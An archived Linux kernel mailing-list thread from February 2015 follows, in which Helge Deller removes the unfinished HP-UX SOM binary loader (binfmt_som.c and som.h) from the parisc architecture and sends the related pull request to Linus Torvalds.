	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Feb 17 09:49:39 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YNdqa-0006hO-M5
	for glk-linux-kernel-3@plane.gmane.org; Tue, 17 Feb 2015 09:49:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933254AbbBQItc (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 17 Feb 2015 03:49:32 -0500
Original-Received: from cpsmtpb-ews07.kpnxchange.com ([213.75.39.10]:49179 "EHLO
	cpsmtpb-ews07.kpnxchange.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933072AbbBQIta (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 17 Feb 2015 03:49:30 -0500
Original-Received: from cpsps-ews11.kpnxchange.com ([10.94.84.178]) by cpsmtpb-ews07.kpnxchange.com with Microsoft SMTPSVC(7.5.7601.17514);
	 Tue, 17 Feb 2015 09:49:28 +0100
Original-Received: from CPSMTPM-TLF104.kpnxchange.com ([195.121.3.7]) by cpsps-ews11.kpnxchange.com with Microsoft SMTPSVC(7.5.7601.17514);
	 Tue, 17 Feb 2015 09:49:28 +0100
Original-Received: from [192.168.10.106] ([77.173.140.92]) by CPSMTPM-TLF104.kpnxchange.com with Microsoft SMTPSVC(7.5.7601.17514);
	 Tue, 17 Feb 2015 09:49:27 +0100
In-Reply-To: <54E2600F.9060502@gmx.de>
X-Mailer: Evolution 3.10.4 (3.10.4-4.fc20) 
X-OriginalArrivalTime: 17 Feb 2015 08:49:27.0798 (UTC) FILETIME=[A3390960:01D04A8E]
X-RcptDomain: vger.kernel.org
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1889358 gmane.linux.ports.parisc:25577
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1889358>

Hi Helge,

On Mon, 2015-02-16 at 22:24 +0100, Helge Deller wrote:
> The hpux code is broken anyway.
> I'm going to remove it from the tree.

That happened in commit 04c161497716 ("parisc: hpux - Drop support for
HP-UX binaries"), which is included in today's linux-next
(next-20150217). I noticed because a script I use to check linux-next
spotted a problem with it.

That commit removed the Kconfig symbol HPUX. As a result BINFMT_SOM (see
fs/Kconfig.binfmt) can't be set anymore. I assume a patch to remove that
symbol too is also part of that series. Is that correct?


Paul Bolle


From - Thu Nov 08 21:37:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems
Subject: [PATCH] fs/binfmt_som: Drop kernel support for HP-UX SOM binaries
Date: Tue, 17 Feb 2015 16:11:00 +0100
Lines: 503
Approved: news@gmane.org
Message-ID: <20150217151100.GA3188@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1424185897 11898 80.91.229.3 (17 Feb 2015 15:11:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Feb 2015 15:11:37 +0000 (UTC)
Cc: linux-fsdevel@vger.kernel.org, Paul Bolle <pebolle@tiscali.nl>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 17 16:11:27 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YNjo2-0004CP-Ni
	for glpp-linux-parisc@plane.gmane.org; Tue, 17 Feb 2015 16:11:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754938AbbBQPLV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Feb 2015 10:11:21 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:64809 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755587AbbBQPLU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Feb 2015 10:11:20 -0500
Original-Received: from ls3530.box ([84.173.27.126]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0MPYqL-1YRqXX478b-004jgK; Tue, 17 Feb 2015 16:11:03
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:UtosareJK5ea/URjX+Syl3d9ZUYu5J5QNEJNeHoT/9fSno33c12
 2o55jx1puLlBwbLiUSY3iCeRv8cDE5doYjIJG3qDoDV8p+6ehXe5v8MW8SyrDQoId4ci5Ks
 kJw3A3k3SVGNgTmg4cACwx7o9vI615M3IeBccgk+saX3OTVEWLX6zfjvqoutaEIXtA2VSD8
 vhJSPZuJcq/hlr6PMX0TA==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25578 gmane.linux.file-systems:92891
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25578>

The parisc arch has been the only user of HP-UX SOM binaries.

Support for HP-UX executables was never finished and since we now drop support
for the HP-UX compat layer anyway, it does not makes sense to keep the
BINFMT_SOM support.

Cc: linux-fsdevel@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/fs/Kconfig.binfmt b/fs/Kconfig.binfmt
index c055d56..270c481 100644
--- a/fs/Kconfig.binfmt
+++ b/fs/Kconfig.binfmt
@@ -149,13 +149,6 @@ config BINFMT_EM86
 	  later load the module when you want to use a Linux/Intel binary. The
 	  module will be called binfmt_em86. If unsure, say Y.
 
-config BINFMT_SOM
-	tristate "Kernel support for SOM binaries"
-	depends on PARISC && HPUX
-	help
-	  SOM is a binary executable format inherited from HP/UX.  Say
-	  Y here to be able to load and execute SOM binaries directly.
-
 config BINFMT_MISC
 	tristate "Kernel support for MISC binaries"
 	---help---
diff --git a/fs/Makefile b/fs/Makefile
index bedff48..b7e0cfe 100644
--- a/fs/Makefile
+++ b/fs/Makefile
@@ -37,7 +37,6 @@ obj-$(CONFIG_BINFMT_SCRIPT)	+= binfmt_script.o
 obj-$(CONFIG_BINFMT_ELF)	+= binfmt_elf.o
 obj-$(CONFIG_COMPAT_BINFMT_ELF)	+= compat_binfmt_elf.o
 obj-$(CONFIG_BINFMT_ELF_FDPIC)	+= binfmt_elf_fdpic.o
-obj-$(CONFIG_BINFMT_SOM)	+= binfmt_som.o
 obj-$(CONFIG_BINFMT_FLAT)	+= binfmt_flat.o
 
 obj-$(CONFIG_FS_MBCACHE)	+= mbcache.o
diff --git a/fs/binfmt_som.c b/fs/binfmt_som.c
deleted file mode 100644
index 4e00ed6..0000000
--- a/fs/binfmt_som.c
+++ /dev/null
@@ -1,299 +0,0 @@
-/*
- * linux/fs/binfmt_som.c
- *
- * These are the functions used to load SOM format executables as used
- * by HP-UX.  
- *
- * Copyright 1999 Matthew Wilcox <willy@bofh.ai>
- * based on binfmt_elf which is
- * Copyright 1993, 1994: Eric Youngdale (ericy@cais.com).
- */
-
-#include <linux/module.h>
-
-#include <linux/fs.h>
-#include <linux/stat.h>
-#include <linux/sched.h>
-#include <linux/mm.h>
-#include <linux/mman.h>
-#include <linux/errno.h>
-#include <linux/signal.h>
-#include <linux/binfmts.h>
-#include <linux/som.h>
-#include <linux/string.h>
-#include <linux/file.h>
-#include <linux/fcntl.h>
-#include <linux/ptrace.h>
-#include <linux/slab.h>
-#include <linux/shm.h>
-#include <linux/personality.h>
-#include <linux/init.h>
-
-#include <asm/uaccess.h>
-#include <asm/pgtable.h>
-
-
-#include <linux/elf.h>
-
-static int load_som_binary(struct linux_binprm * bprm);
-static int load_som_library(struct file *);
-
-/*
- * If we don't support core dumping, then supply a NULL so we
- * don't even try.
- */
-#if 0
-static int som_core_dump(struct coredump_params *cprm);
-#else
-#define som_core_dump	NULL
-#endif
-
-#define SOM_PAGESTART(_v) ((_v) & ~(unsigned long)(SOM_PAGESIZE-1))
-#define SOM_PAGEOFFSET(_v) ((_v) & (SOM_PAGESIZE-1))
-#define SOM_PAGEALIGN(_v) (((_v) + SOM_PAGESIZE - 1) & ~(SOM_PAGESIZE - 1))
-
-static struct linux_binfmt som_format = {
-	.module		= THIS_MODULE,
-	.load_binary	= load_som_binary,
-	.load_shlib	= load_som_library,
-	.core_dump	= som_core_dump,
-	.min_coredump	= SOM_PAGESIZE
-};
-
-/*
- * create_som_tables() parses the env- and arg-strings in new user
- * memory and creates the pointer tables from them, and puts their
- * addresses on the "stack", returning the new stack pointer value.
- */
-static void create_som_tables(struct linux_binprm *bprm)
-{
-	char **argv, **envp;
-	int argc = bprm->argc;
-	int envc = bprm->envc;
-	unsigned long p;
-	unsigned long *sp;
-
-	/* Word-align the stack pointer */
-	sp = (unsigned long *)((bprm->p + 3) & ~3);
-
-	envp = (char **) sp;
-	sp += envc + 1;
-	argv = (char **) sp;
-	sp += argc + 1;
-
-	__put_user((unsigned long) envp,++sp);
-	__put_user((unsigned long) argv,++sp);
-
-	__put_user(argc, ++sp);
-
-	bprm->p = (unsigned long) sp;
-
-	p = current->mm->arg_start;
-	while (argc-- > 0) {
-		__put_user((char *)p,argv++);
-		p += strlen_user((char *)p);
-	}
-	__put_user(NULL, argv);
-	current->mm->arg_end = current->mm->env_start = p;
-	while (envc-- > 0) {
-		__put_user((char *)p,envp++);
-		p += strlen_user((char *)p);
-	}
-	__put_user(NULL, envp);
-	current->mm->env_end = p;
-}
-
-static int check_som_header(struct som_hdr *som_ex)
-{
-	int *buf = (int *)som_ex;
-	int i, ck;
-
-	if (som_ex->system_id != SOM_SID_PARISC_1_0 &&
-	    som_ex->system_id != SOM_SID_PARISC_1_1 &&
-	    som_ex->system_id != SOM_SID_PARISC_2_0)
-		return -ENOEXEC;
-
-	if (som_ex->a_magic != SOM_EXEC_NONSHARE &&
-	    som_ex->a_magic != SOM_EXEC_SHARE &&
-	    som_ex->a_magic != SOM_EXEC_DEMAND)
-		return -ENOEXEC;
-
-	if (som_ex->version_id != SOM_ID_OLD &&
-	    som_ex->version_id != SOM_ID_NEW)
-		return -ENOEXEC;
-
-	ck = 0;
-	for (i=0; i<32; i++)
-		ck ^= buf[i];
-	if (ck != 0)
-		return -ENOEXEC;
-
-	return 0;
-}
-
-static int map_som_binary(struct file *file,
-		const struct som_exec_auxhdr *hpuxhdr)
-{
-	unsigned long code_start, code_size, data_start, data_size;
-	unsigned long bss_start, som_brk;
-	int retval;
-	int prot = PROT_READ | PROT_EXEC;
-	int flags = MAP_FIXED|MAP_PRIVATE|MAP_DENYWRITE|MAP_EXECUTABLE;
-
-	mm_segment_t old_fs = get_fs();
-	set_fs(get_ds());
-
-	code_start = SOM_PAGESTART(hpuxhdr->exec_tmem);
-	code_size = SOM_PAGEALIGN(hpuxhdr->exec_tsize);
-	current->mm->start_code = code_start;
-	current->mm->end_code = code_start + code_size;
-	retval = vm_mmap(file, code_start, code_size, prot,
-			flags, SOM_PAGESTART(hpuxhdr->exec_tfile));
-	if (retval < 0 && retval > -1024)
-		goto out;
-
-	data_start = SOM_PAGESTART(hpuxhdr->exec_dmem);
-	data_size = SOM_PAGEALIGN(hpuxhdr->exec_dsize);
-	current->mm->start_data = data_start;
-	current->mm->end_data = bss_start = data_start + data_size;
-	retval = vm_mmap(file, data_start, data_size,
-			prot | PROT_WRITE, flags,
-			SOM_PAGESTART(hpuxhdr->exec_dfile));
-	if (retval < 0 && retval > -1024)
-		goto out;
-
-	som_brk = bss_start + SOM_PAGEALIGN(hpuxhdr->exec_bsize);
-	current->mm->start_brk = current->mm->brk = som_brk;
-	retval = vm_mmap(NULL, bss_start, som_brk - bss_start,
-			prot | PROT_WRITE, MAP_FIXED | MAP_PRIVATE, 0);
-	if (retval > 0 || retval < -1024)
-		retval = 0;
-out:
-	set_fs(old_fs);
-	return retval;
-}
-
-
-/*
- * These are the functions used to load SOM executables and shared
- * libraries.  There is no binary dependent code anywhere else.
- */
-
-static int
-load_som_binary(struct linux_binprm * bprm)
-{
-	int retval;
-	unsigned int size;
-	unsigned long som_entry;
-	struct som_hdr *som_ex;
-	struct som_exec_auxhdr *hpuxhdr;
-	struct pt_regs *regs = current_pt_regs();
-
-	/* Get the exec-header */
-	som_ex = (struct som_hdr *) bprm->buf;
-
-	retval = check_som_header(som_ex);
-	if (retval != 0)
-		goto out;
-
-	/* Now read in the auxiliary header information */
-
-	retval = -ENOMEM;
-	size = som_ex->aux_header_size;
-	if (size > SOM_PAGESIZE)
-		goto out;
-	hpuxhdr = kmalloc(size, GFP_KERNEL);
-	if (!hpuxhdr)
-		goto out;
-
-	retval = kernel_read(bprm->file, som_ex->aux_header_location,
-			(char *) hpuxhdr, size);
-	if (retval != size) {
-		if (retval >= 0)
-			retval = -EIO;
-		goto out_free;
-	}
-
-	/* Flush all traces of the currently running executable */
-	retval = flush_old_exec(bprm);
-	if (retval)
-		goto out_free;
-
-	/* OK, This is the point of no return */
-	current->personality = PER_HPUX;
-	setup_new_exec(bprm);
-
-	/* Set the task size for HP-UX processes such that
-	 * the gateway page is outside the address space.
-	 * This can be fixed later, but for now, this is much
-	 * easier.
-	 */
-
-	current->thread.task_size = 0xc0000000;
-
-	/* Set map base to allow enough room for hp-ux heap growth */
-
-	current->thread.map_base = 0x80000000;
-
-	retval = map_som_binary(bprm->file, hpuxhdr);
-	if (retval < 0)
-		goto out_free;
-
-	som_entry = hpuxhdr->exec_entry;
-	kfree(hpuxhdr);
-
-	set_binfmt(&som_format);
-	install_exec_creds(bprm);
-	setup_arg_pages(bprm, STACK_TOP, EXSTACK_DEFAULT);
-
-	create_som_tables(bprm);
-
-	current->mm->start_stack = bprm->p;
-
-#if 0
-	printk("(start_brk) %08lx\n" , (unsigned long) current->mm->start_brk);
-	printk("(end_code) %08lx\n" , (unsigned long) current->mm->end_code);
-	printk("(start_code) %08lx\n" , (unsigned long) current->mm->start_code);
-	printk("(end_data) %08lx\n" , (unsigned long) current->mm->end_data);
-	printk("(start_stack) %08lx\n" , (unsigned long) current->mm->start_stack);
-	printk("(brk) %08lx\n" , (unsigned long) current->mm->brk);
-#endif
-
-	map_hpux_gateway_page(current,current->mm);
-
-	start_thread_som(regs, som_entry, bprm->p);
-	return 0;
-
-	/* error cleanup */
-out_free:
-	kfree(hpuxhdr);
-out:
-	return retval;
-}
-
-static int load_som_library(struct file *f)
-{
-/* No lib support in SOM yet.  gizza chance.. */
-	return -ENOEXEC;
-}
-	/* Install the SOM loader.
-	 * N.B. We *rely* on the table being the right size with the
-	 * right number of free slots...
-	 */
-
-static int __init init_som_binfmt(void)
-{
-	register_binfmt(&som_format);
-	return 0;
-}
-
-static void __exit exit_som_binfmt(void)
-{
-	/* Remove the SOM loader. */
-	unregister_binfmt(&som_format);
-}
-
-core_initcall(init_som_binfmt);
-module_exit(exit_som_binfmt);
-
-MODULE_LICENSE("GPL");
diff --git a/include/uapi/linux/som.h b/include/uapi/linux/som.h
deleted file mode 100644
index 166594e..0000000
--- a/include/uapi/linux/som.h
+++ /dev/null
@@ -1,154 +0,0 @@
-#ifndef _LINUX_SOM_H
-#define _LINUX_SOM_H
-
-/* File format definition for SOM executables / shared libraries */
-
-/* we need struct timespec */
-#include <linux/time.h>
-
-#define SOM_PAGESIZE 4096
-
-/* this is the SOM header */
-struct som_hdr {
-	short		system_id;		/* magic number - system */
-	short		a_magic;		/* magic number - file type */
-	unsigned int	version_id;		/* versiod ID: YYMMDDHH */
-	struct timespec	file_time;		/* system clock */
-	unsigned int	entry_space;		/* space for entry point */
-	unsigned int	entry_subspace;		/* subspace for entry point */
-	unsigned int	entry_offset;		/* offset of entry point */
-	unsigned int	aux_header_location;	/* auxiliary header location */
-	unsigned int	aux_header_size;	/* auxiliary header size */
-	unsigned int	som_length;		/* length of entire SOM */
-	unsigned int	presumed_dp;		/* compiler's DP value */
-	unsigned int	space_location;		/* space dictionary location */
-	unsigned int	space_total;		/* number of space entries */
-	unsigned int	subspace_location;	/* subspace entries location */
-	unsigned int	subspace_total;		/* number of subspace entries */
-	unsigned int	loader_fixup_location;	/* MPE/iX loader fixup */
-	unsigned int	loader_fixup_total;	/* number of fixup records */
-	unsigned int	space_strings_location;	/* (sub)space names */
-	unsigned int	space_strings_size;	/* size of strings area */
-	unsigned int	init_array_location;	/* reserved */
-	unsigned int	init_array_total;	/* reserved */
-	unsigned int	compiler_location;	/* module dictionary */
-	unsigned int	compiler_total;		/* number of modules */
-	unsigned int	symbol_location;	/* symbol dictionary */
-	unsigned int	symbol_total;		/* number of symbols */
-	unsigned int	fixup_request_location;	/* fixup requests */
-	unsigned int	fixup_request_total;	/* number of fixup requests */
-	unsigned int	symbol_strings_location;/* module & symbol names area */
-	unsigned int	symbol_strings_size;	/* size of strings area */
-	unsigned int	unloadable_sp_location;	/* unloadable spaces location */
-	unsigned int	unloadable_sp_size;	/* size of data */
-	unsigned int	checksum;
-};
-
-/* values for system_id */
-
-#define SOM_SID_PARISC_1_0	0x020b
-#define SOM_SID_PARISC_1_1	0x0210
-#define SOM_SID_PARISC_2_0	0x0214
-
-/* values for a_magic */
-
-#define SOM_LIB_EXEC		0x0104
-#define SOM_RELOCATABLE		0x0106
-#define SOM_EXEC_NONSHARE	0x0107
-#define SOM_EXEC_SHARE		0x0108
-#define SOM_EXEC_DEMAND		0x010B
-#define SOM_LIB_DYN		0x010D
-#define SOM_LIB_SHARE		0x010E
-#define SOM_LIB_RELOC		0x0619
-
-/* values for version_id.  Decimal not hex, yes.  Grr. */
-
-#define SOM_ID_OLD		85082112
-#define SOM_ID_NEW		87102412
-
-struct aux_id {
-	unsigned int	mandatory :1;	/* the linker must understand this */
-	unsigned int	copy	  :1;	/* Must be copied by the linker */
-	unsigned int	append	  :1;	/* Must be merged by the linker */
-	unsigned int	ignore	  :1;	/* Discard section if unknown */
-	unsigned int	reserved  :12;
-	unsigned int	type	  :16;	/* Header type */
-	unsigned int	length;		/* length of _following_ data */
-};
-
-/* The Exec Auxiliary Header.  Called The HP-UX Header within HP apparently. */
-struct som_exec_auxhdr {
-	struct aux_id	som_auxhdr;
-	int		exec_tsize;	/* Text size in bytes */
-	int		exec_tmem;	/* Address to load text at */
-	int		exec_tfile;	/* Location of text in file */
-	int		exec_dsize;	/* Data size in bytes */
-	int		exec_dmem;	/* Address to load data at */
-	int		exec_dfile;	/* Location of data in file */
-	int		exec_bsize;	/* Uninitialised data (bss) */
-	int		exec_entry;	/* Address to start executing */
-	int		exec_flags;	/* loader flags */
-	int		exec_bfill;	/* initialisation value for bss */
-};
-
-/* Oh, the things people do to avoid casts.  Shame it'll break with gcc's
- * new aliasing rules really.
- */
-union name_pt {
-	char *		n_name;
-	unsigned int	n_strx;
-};
-
-/* The Space Dictionary */
-struct space_dictionary_record {
-	union name_pt	name;			/* index to subspace name */
-	unsigned int	is_loadable	:1;	/* loadable */
-	unsigned int	is_defined	:1;	/* defined within file */
-	unsigned int	is_private	:1;	/* not sharable */
-	unsigned int	has_intermediate_code :1; /* contains intermediate code */
-	unsigned int	is_tspecific	:1;	/* thread specific */
-	unsigned int	reserved	:11;	/* for future expansion */
-	unsigned int	sort_key	:8;	/* for linker */
-	unsigned int	reserved2	:8;	/* for future expansion */
-
-	int		space_number;		/* index */
-	int		subspace_index;		/* index into subspace dict */
-	unsigned int	subspace_quantity;	/* number of subspaces */
-	int		loader_fix_index;	/* for loader */
-	unsigned int	loader_fix_quantity;	/* for loader */
-	int		init_pointer_index;	/* data pointer array index */
-	unsigned int	init_pointer_quantity;	/* number of data pointers */
-};
-
-/* The Subspace Dictionary */
-struct subspace_dictionary_record {
-	int		space_index;
-	unsigned int	access_control_bits :7;
-	unsigned int	memory_resident	:1;
-	unsigned int	dup_common	:1;
-	unsigned int	is_common	:1;
-	unsigned int	quadrant	:2;
-	unsigned int	initially_frozen :1;
-	unsigned int	is_first	:1;
-	unsigned int	code_only	:1;
-	unsigned int	sort_key	:8;
-	unsigned int	replicate_init	:1;
-	unsigned int	continuation	:1;
-	unsigned int	is_tspecific	:1;
-	unsigned int	is_comdat	:1;
-	unsigned int	reserved	:4;
-
-	int		file_loc_init_value;
-	unsigned int	initialization_length;
-	unsigned int	subspace_start;
-	unsigned int	subspace_length;
-
-	unsigned int	reserved2	:5;
-	unsigned int	alignment	:27;
-
-	union name_pt	name;
-	int		fixup_request_index;
-	unsigned int	fixup_request_quantity;
-};

From - Thu Nov 08 21:37:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: RFC arch/sh/kernel/traps_64.c - unclear if/else construct (hpux
 compat layer)
Date: Tue, 17 Feb 2015 16:15:11 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <54E35AFF.3030206@gmx.de>
References: <20150203093758.GA27963@opentech.at> <54E2600F.9060502@gmx.de> <1424162967.7082.7.camel@x220>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424186128 16211 80.91.229.3 (17 Feb 2015 15:15:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Feb 2015 15:15:28 +0000 (UTC)
Cc: Valentin Rothberg <valentinrothberg@gmail.com>,
	Nicholas Mc Guire <der.herr@hofr.at>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Dan Carpenter <dan.carpenter@oracle.com>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Paul Bolle <pebolle@tiscali.nl>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 17 16:15:20 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YNjrr-0005tI-67
	for glpp-linux-parisc@plane.gmane.org; Tue, 17 Feb 2015 16:15:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754783AbbBQPPS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Feb 2015 10:15:18 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:63977 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753613AbbBQPPR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Feb 2015 10:15:17 -0500
Original-Received: from [192.168.20.60] ([84.173.27.126]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0LfGo0-1XmUJs3Edc-00okmj; Tue, 17 Feb 2015 16:15:12
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.4.0
In-Reply-To: <1424162967.7082.7.camel@x220>
X-Provags-ID: V03:K0:w6ZPRFb71Gwj5/UAowatt37jtleqz7OlJf1mLLScdlBmkRWGbkY
 c12IpSqyJAYF4aMF+g7CAH93NS8658O6TzkzJp83ZEARJCh8KIqTLlC0VQhBN/Dy9vT6Kls
 MZztEL97ZXHG9Y1V8v442DMY47S4cdET/ht0UeQ6E9s+egZZypKADPq7+fo/QBcMEoRI94N
 aia3AJPhegmaxm7VjYFiw==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25579 gmane.linux.kernel:1889688
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25579>

H Paul,

On 17.02.2015 09:49, Paul Bolle wrote:
> On Mon, 2015-02-16 at 22:24 +0100, Helge Deller wrote:
>> The hpux code is broken anyway.
>> I'm going to remove it from the tree.
>
> That happened in commit 04c161497716 ("parisc: hpux - Drop support for
> HP-UX binaries"), which is included in today's linux-next
> (next-20150217).

Yes.

> That commit removed the Kconfig symbol HPUX. As a result BINFMT_SOM (see
> fs/Kconfig.binfmt) can't be set anymore. I assume a patch to remove that
> symbol too is also part of that series. Is that correct?

I missed it, but just sent out a patch to remove BINFMT_SOM too.
It will be in the next linux-next tree via
http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/log/?h=for-next

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture patches for v3.20
Date: Tue, 17 Feb 2015 21:27:16 +0100
Lines: 74
Approved: news@gmane.org
Message-ID: <20150217202716.GA2856@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1424204857 25418 80.91.229.3 (17 Feb 2015 20:27:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Feb 2015 20:27:37 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 17 21:27:29 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YNojv-0000j5-Cc
	for glpp-linux-parisc@plane.gmane.org; Tue, 17 Feb 2015 21:27:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753131AbbBQU10 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Feb 2015 15:27:26 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:56380 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752980AbbBQU10 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Feb 2015 15:27:26 -0500
Original-Received: from p100.box ([84.173.27.126]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0MbbWD-1Y76pf311R-00J5fa; Tue, 17 Feb 2015 21:27:18
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:MO6taBmyzRjyM6Vgz28wj/vpSL+PlM5Ci92w6K2CUVCBkmrM6A/
 UcaLzWYSF9+F0BHd2/DBQpwV9F98l9az3nJvDld/69Sl24o5YF9ZEl/3cVm24oxEAiVlVFv
 vH7fRxnLBHGfTg6NLM8ty5L7xyBbRKEbria3rPg++mBCaKIVSEqhrona7IVivJTUjZ2XsSx
 /4OUNyfXsa8UypmEMqvTw==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25580 gmane.linux.kernel:1889833
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25580>

Hi Linus,

please the latest patches and fixes for the parisc architecture for kernel 3.20/4.0 from 

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.20-1

The major change in here is the removal of the old HP-UX compat code
which should have made it possible to load and execute 32-bit HP-UX
binaries on PA-RISC Linux. Since it was never functional and since
nobody cares about old 32-bit HPUX binaries any longer, it's now time to
free up 3200 lines of kernel code (CONFIG_HPUX and CONFIG_BINFMT_SOM).

Other than that we wire up the execveat() syscall, fix sparse errors and have
some whitespace cleanups.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (8):
      parisc: Wire up execveat syscall
      parisc: Add error checks when building up signal trampoline handler
      parisc: hpux - Drop support for HP-UX binaries
      parisc: hpux - Do not compile hpux subdirectory
      parisc: hpux - Delete files in hpux subdirectory
      parisc: hpux - Remove hpux gateway page
      parisc: hpux - Remove HPUX syscall numbers
